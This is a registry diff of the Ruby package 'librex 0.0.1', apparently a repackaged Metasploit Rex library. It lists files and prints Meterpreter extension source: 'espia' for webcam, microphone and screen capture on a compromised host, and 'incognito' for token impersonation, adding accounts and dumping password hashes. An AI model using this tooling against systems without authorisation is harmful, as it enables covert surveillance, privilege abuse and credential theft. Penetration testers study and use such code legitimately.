librex 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +4 -0
- data/lib/rex.rb +101 -0
- data/lib/rex.rb.ts.rb +70 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +100 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +281 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +260 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +113 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +133 -0
- data/lib/rex/exploitation/egghunter.rb +143 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +84 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/stream.rb +313 -0
- data/lib/rex/io/stream_abstraction.rb +186 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +202 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +75 -0
- data/lib/rex/mime/message.rb +112 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +128 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +230 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/nmap_xml.rb +111 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +188 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1655 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +468 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +438 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +335 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +596 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +135 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +12 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +358 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +186 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +817 -0
- data/lib/rex/proto/http/client.rb.ut.rb +93 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +54 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +394 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +85 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +367 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1733 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1062 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +95 -0
- data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
- data/lib/rex/proto/smb/evasions.rb +65 -0
- data/lib/rex/proto/smb/exceptions.rb +846 -0
- data/lib/rex/proto/smb/simpleclient.rb +292 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +514 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +9 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +586 -0
- data/lib/rex/socket.rb.ut.rb +86 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +409 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +129 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +295 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +272 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +157 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1029 -0
- data/lib/rex/text.rb.ut.rb +168 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +252 -0
- data/lib/rex/ui/output.rb +80 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +55 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +65 -0
- data/lib/rex/ui/text/output/file.rb +37 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +321 -0
- data/lib/rex/ui/text/table.rb +254 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +91 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +95 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +435 -0
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
|
|
7
|
+
###
|
|
8
|
+
#
|
|
9
|
+
# Base class for all extensions that holds a reference to the
|
|
10
|
+
# client context that they are part of. Each extension also has a defined
|
|
11
|
+
# name through which it is referenced.
|
|
12
|
+
#
|
|
13
|
+
###
|
|
14
|
+
class Extension
|
|
15
|
+
|
|
16
|
+
#
|
|
17
|
+
# Initializes the client and name attributes.
|
|
18
|
+
#
|
|
19
|
+
def initialize(client, name)
|
|
20
|
+
self.client = client
|
|
21
|
+
self.name = name
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
#
|
|
25
|
+
# The name of the extension.
|
|
26
|
+
#
|
|
27
|
+
attr_accessor :name
|
|
28
|
+
protected
|
|
29
|
+
attr_accessor :client # :nodoc:
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
end; end; end
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
require 'rex/post/meterpreter/extensions/espia/tlv'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Post
|
|
7
|
+
module Meterpreter
|
|
8
|
+
module Extensions
|
|
9
|
+
module Espia
|
|
10
|
+
|
|
11
|
+
###
|
|
12
|
+
#
|
|
13
|
+
# This meterpreter extensions interface that is capable
|
|
14
|
+
# grab webcam frame and recor mic audio
|
|
15
|
+
#
|
|
16
|
+
###
|
|
17
|
+
class Espia < Extension
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def initialize(client)
|
|
21
|
+
super(client, 'espia')
|
|
22
|
+
|
|
23
|
+
client.register_extension_aliases(
|
|
24
|
+
[
|
|
25
|
+
{
|
|
26
|
+
'name' => 'espia',
|
|
27
|
+
'ext' => self
|
|
28
|
+
},
|
|
29
|
+
])
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
def espia_video_get_dev_image()
|
|
33
|
+
request = Packet.create_request('espia_video_get_dev_image')
|
|
34
|
+
response = client.send_request(request)
|
|
35
|
+
|
|
36
|
+
return true
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
def espia_audio_get_dev_audio(rsecs)
|
|
40
|
+
request = Packet.create_request('espia_audio_get_dev_audio')
|
|
41
|
+
request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
|
|
42
|
+
response = client.send_request(request)
|
|
43
|
+
|
|
44
|
+
return true
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
def espia_image_get_dev_screen
|
|
48
|
+
request = Packet.create_request( 'espia_image_get_dev_screen' )
|
|
49
|
+
response = client.send_request( request )
|
|
50
|
+
if( response.result == 0 )
|
|
51
|
+
return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
|
|
52
|
+
end
|
|
53
|
+
return nil
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
end
|
|
57
|
+
|
|
58
|
+
end; end; end; end; end
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Post
|
|
3
|
+
module Meterpreter
|
|
4
|
+
module Extensions
|
|
5
|
+
module Espia
|
|
6
|
+
|
|
7
|
+
TLV_TYPE_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
|
|
8
|
+
TLV_TYPE_DEV_AUDIO = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 912)
|
|
9
|
+
TLV_TYPE_DEV_SCREEN = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 913)
|
|
10
|
+
TLV_TYPE_DEV_RECTIME = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 914)
|
|
11
|
+
|
|
12
|
+
end
|
|
13
|
+
end
|
|
14
|
+
end
|
|
15
|
+
end
|
|
16
|
+
end
|
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
require 'rex/post/meterpreter/extensions/incognito/tlv'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Post
|
|
7
|
+
module Meterpreter
|
|
8
|
+
module Extensions
|
|
9
|
+
module Incognito
|
|
10
|
+
|
|
11
|
+
###
|
|
12
|
+
#
|
|
13
|
+
# This meterpreter extensions a privilege escalation interface that is capable
|
|
14
|
+
# of doing things like dumping password hashes and performing local
|
|
15
|
+
# exploitation.
|
|
16
|
+
#
|
|
17
|
+
###
|
|
18
|
+
class Incognito < Extension
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def initialize(client)
|
|
22
|
+
super(client, 'incognito')
|
|
23
|
+
|
|
24
|
+
client.register_extension_aliases(
|
|
25
|
+
[
|
|
26
|
+
{
|
|
27
|
+
'name' => 'incognito',
|
|
28
|
+
'ext' => self
|
|
29
|
+
},
|
|
30
|
+
])
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def incognito_list_tokens(token_order)
|
|
35
|
+
request = Packet.create_request('incognito_list_tokens')
|
|
36
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
|
|
37
|
+
|
|
38
|
+
response = client.send_request(request)
|
|
39
|
+
|
|
40
|
+
return {
|
|
41
|
+
'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
|
|
42
|
+
'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION)
|
|
43
|
+
}
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
def incognito_impersonate_token(username)
|
|
47
|
+
request = Packet.create_request('incognito_impersonate_token')
|
|
48
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
|
|
49
|
+
response = client.send_request(request)
|
|
50
|
+
|
|
51
|
+
response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
def incognito_add_user(host, username, password)
|
|
55
|
+
request = Packet.create_request('incognito_add_user')
|
|
56
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
|
|
57
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
|
|
58
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
|
|
59
|
+
response = client.send_request(request)
|
|
60
|
+
|
|
61
|
+
response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
def incognito_add_group_user(host, groupname, username)
|
|
65
|
+
request = Packet.create_request('incognito_add_group_user')
|
|
66
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
|
|
67
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
|
|
68
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
|
|
69
|
+
response = client.send_request(request)
|
|
70
|
+
|
|
71
|
+
response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
def incognito_add_localgroup_user(host, groupname, username)
|
|
75
|
+
request = Packet.create_request('incognito_add_localgroup_user')
|
|
76
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
|
|
77
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
|
|
78
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
|
|
79
|
+
response = client.send_request(request)
|
|
80
|
+
|
|
81
|
+
response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
def incognito_snarf_hashes(host)
|
|
85
|
+
request = Packet.create_request('incognito_snarf_hashes')
|
|
86
|
+
request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
|
|
87
|
+
response = client.send_request(request)
|
|
88
|
+
|
|
89
|
+
return true
|
|
90
|
+
end
|
|
91
|
+
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
end; end; end; end; end
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Post
|
|
3
|
+
module Meterpreter
|
|
4
|
+
module Extensions
|
|
5
|
+
module Incognito
|
|
6
